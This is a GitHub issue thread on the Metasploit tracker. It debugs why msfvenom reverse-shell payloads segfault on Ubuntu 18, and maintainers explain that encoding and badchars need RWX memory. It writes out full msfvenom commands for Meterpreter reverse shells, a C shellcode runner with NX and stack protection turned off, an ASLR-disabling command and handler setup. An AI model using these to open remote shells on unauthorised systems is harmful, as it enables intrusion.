Metasploit-framework: No reverse payloads work on Ubuntu 18

[clhefton]

Sorry to bring it up again, but I have done a lot of looking through issues and I think mine is new. I get Segmentation fault (core dumped). It's not a connection issue; I always have my handler running first, verified connection with nc <ip> 443, and it seems from strace (see below) that it never even gets to any socket connection attempt.

This may just be an issue that can't be circumvented. I am willing to resign to the fact that MSF payloads won't work on Linux images from AWS, just making sure I haven't missed anything.

OS info, agent

Payload is running on default Ubuntu 18 AMI on AWS. Handler was always running before attempting to connect. NX is enabled, I can't change this:

$ uname -i
x86_64
$ uname -a
Linux MyHostName 4.15.0-1051-aws #53-Ubuntu SMP Wed Sep 18 13:35:53 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
$ dmesg | grep NX
[    0.000000] NX (Execute Disable) protection: active

I have done the following to circumvent NX:

• echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
• used nonx payloads
• Changed buf[] to *buf in C files before compilation
• C compilation flags (see below)

Steps to reproduce

Payloads I've tried

I've generated the following. All give the same output: segfault.

# elf's, normal; reverse HTTP and TCP
$ msfvenom -a x64 --platform linux -p linux/x64/meterpreter_reverse_http LHOST=10.x.x.x LPORT=443 -b "\x00" -i 3 -f elf -o ubuntu_priv443_3 
$ msfvenom -a x86 --platform linux -p linux/x86/meterpreter_reverse_http LHOST=10.x.x.x LPORT=443 -b "\x00" -i 3 -f elf -o ubuntu_priv443_3
$ msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=10.x.x.x LPORT=443 -b "\x00" -e x86/xor_dynamic -i 3 -f elf -o ubuntu_priv443_3

# elf, nonx (public and private IP of handler)
$ msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_nonx_tcp LHOST=10.x.x.x LPORT=443 -b "\x00" -e x86/xor_dynamic -i 3 -f elf -o ubuntu_priv443_nonx_3
$ msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_nonx_tcp LHOST=<PUB-IP> LPORT=443 -b "\x00" -e x86/xor_dynamic -i 3 -f elf -o ubuntu_priv443_nonx_3

# c, nonx (public and private IP of handler)
$ msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_nonx_tcp LHOST=10.x.x.x 
LPORT=443 -b "\x00" -e x86/xor_dynamic -i 3 -f c -o ubuntu_priv443_3
$ msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_nonx_tcp LHOST=<PUB-IP>
LPORT=443 -b "\x00" -e x86/xor_dynamic -i 3 -f c -o ubuntu_pub443_3

# same, less encoding
$ msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_nonx_tcp LHOST=<PUB-IP>
LPORT=443 -b "\x00" -e x86/xor_dynamic -i 1 -f c -o ubuntu_pub443_3

C function:

main() { printf("Shellcode Length: %d\n", strlen(buf)); int (*ret)() = (int(*)())buf; ret(); }

C compilation flags:
gcc -z execstack -fno-stack-protector -o <filename> <filename>.c

Expected behavior

It should execute

Current behavior

Segmentation fault

System stuff

Metasploit version

Framework: 5.0.60-dev
Console : 5.0.60-dev

Metasploit handler

I used the following options for the metasploit handler:

exploit(multi/handler) > set payload <same_as_payload>, e.g.
exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_nonx_tcp
exploit(multi/handler) > set LHOST 0.0.0.0
exploit(multi/handler) > set LPORT 443
exploit(multi/handler) > run -j

Strace output

$ sudo strace ./pub1
execve("./pub1", ["./pub1"], 0x7fffffffe6d0 /* 15 vars */) = 0
brk(NULL)                               = 0x555555559000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=22482, ...}) = 0
mmap(NULL, 22482, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffff7ff1000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260\34\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=2030544, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7fef000
mmap(NULL, 4131552, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff79e4000
mprotect(0x7ffff7bcb000, 2097152, PROT_NONE) = 0
mmap(0x7ffff7dcb000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7ffff7dcb000
mmap(0x7ffff7dd1000, 15072, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7dd1000
close(3)                                = 0
arch_prctl(ARCH_SET_FS, 0x7ffff7ff04c0) = 0
mprotect(0x7ffff7dcb000, 16384, PROT_READ) = 0
mprotect(0x555555557000, 4096, PROT_READ) = 0
mprotect(0x7ffff7ffc000, 4096, PROT_READ) = 0
munmap(0x7ffff7ff1000, 22482)           = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
brk(NULL)                               = 0x555555559000
brk(0x55555557a000)                     = 0x55555557a000
write(1, "Shellcode Length: 96\n", 21Shellcode Length: 96
)  = 21
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x55556032} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault

I installed Metasploit with:

• [x] Kali package via apt
• [ ] Omnibus installer (nightly)
• [ ] Commercial/Community installer (from http://www.rapid7.com/products/metasploit/download.jsp)
• [ ] Source install (please specify ruby version)

OS

Metasploit: Kali Linux AMI Linux ami-0efaa1daf599f3b8e

$ uname -a
Linux kali 5.3.0-kali2-amd64 #1 SMP Debian 5.3.9-3kali1 (2019-11-20) x86_64 GNU/Linux

Issues & help I'm aware of

• https://github.com/rapid7/metasploit-framework/issues/7722
  
  
  
  • irrelevant; not a connection issue
  
  
• https://github.com/rapid7/metasploit-framework/issues/3953
  
  
  
  • same
  
  
• https://github.com/rapid7/metasploit-framework/issues/6473
  
  
  
  • AFAIK I'm doing the handler right. (setting payload to the one I used on victim machine)
  
  
• https://stackoverflow.com/questions/2340259/how-to-turn-off-gcc-compiler-optimization-to-enable-buffer-overflow
  
  
  
  • solution implemented
  
  
• https://github.com/rapid7/metasploit-framework/issues/10432
  
  
  
  • I never even got to this point
  
  

[OJ]

I really wish that all bug submissions had this level of detail. Well played @clhefton 👍

Quick Q: have you tried generation the payloads without using any of:

• badchars (-b)
• encoder (-e)
• iterations (-i)

From my (very quick) testing, using the above caused segfaults, but avoiding those three switches resulted in payloads that worked.

Would you mind giving that a try please?

[clhefton]

tl;dr for future readers: On Ubuntu 18+ and AL2 AMI's on AWS, (untested but possibly on vanilla Ubuntu 18),

• don't use encoding
• don't use -b 'x00'
• don't use nonx payloads

Glad it was useful @OJ , and thank you so much!! I can't believe it was that simple 😫. I've never actually made payloads without excluding null characters or using encoding.

I tested literally every other combo of encoding + iterations + bad chars I could find, and verified that both -e and -b cause issues by themselves and in combination on all reverse shell payloads, both x86 and x64. (-i is irrelevant without -e). Oh, and nonx payloads don't work either.

[OJ]

I'm glad it was that simple too mate! We should have something in place to either warn people against this or just not allow it at all. There's definitely work to be done here.

@clhefton I'm going to reopen this for now, as I think we need to discuss further and come up with solution. Hope that's OK.

[wvu-r7]

Yeah, maybe a warning that encoding is usually not necessary when using an executable format. It may be if that binary is transferred through constraints, but it's not the normal use case. Also, the binary wrapper isn't checked for badchars, so meh.

[egypt]

The important thing here is that encoding requires the payload to reside in RWX memory. Specifying badchars (the -b option) forces encoding. The nonx variant of payloads don't mprotect and just assume everything is RWX (which was basically the case back in the long long ago before NX was a thing).

I agree that a warning makes sense when the output format is an executable and encoding is enabled (or implied by other options). I don't know what we can do about the case where a user outputs shellcode for use in a harness like OP's C code.

[github-actions[bot]]

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here.
If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

[github-actions[bot]]

Hi again!

It’s been 60 days since anything happened on this issue, so we are going to close it.
Please keep in mind that I’m only a robot, so if I’ve closed this issue in error please feel free to reopen this issue or create a new one if you need anything else.

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

[adfoster-r7]

Adding a warning seems like a good call, reopening this :+1: